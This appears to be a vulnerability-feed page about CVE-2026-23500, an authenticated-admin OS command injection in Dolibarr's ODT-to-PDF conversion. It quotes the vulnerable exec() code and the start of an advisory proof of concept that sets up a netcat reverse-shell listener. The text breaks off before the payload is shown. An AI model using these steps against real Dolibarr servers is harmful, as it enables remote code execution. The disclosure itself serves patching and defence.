Most recent entries from all

EUVD-2026-291888

fkie_cve-2026-23500

Dolibarr is an enterprise resource planning (ERP) and customer relationship management (CRM) software package. In versions prior to 23.0.0 , the ODT to PDF conversion process in odf.php concatenates the MAIN_ODT_AS_PDF configuration constant directly into a shell command passed to exec() without sanitization. An authenticated administrator can inject arbitrary OS commands via this constant using command separators, achieving remote code execution as the web server user when any ODT template is generated. This issue has been fixed in version 23.0.0.

GHSA-w5j3-8fcr-h87w — Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration

Affected: Packagist: dolibarr/dolibarr

### Summary An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.

### Details The vulnerability is located in `htdocs/includes/odtphp/odf.php`. When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.

Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930): ```php $command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name); // ... exec($command, $output_arr, $retval); ```

While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.

### PoC **Prerequisites:** 1. Login as an Administrator. 2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.

**Steps to reproduce (Reverse Shell):**

1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`): ```bash nc -lvnp 4445 ```

2. Prepare the payload. To avoid…

UBUNTU-CVE-2026-23500

Affected: Ubuntu:Pro:16.04:LTS: dolibarr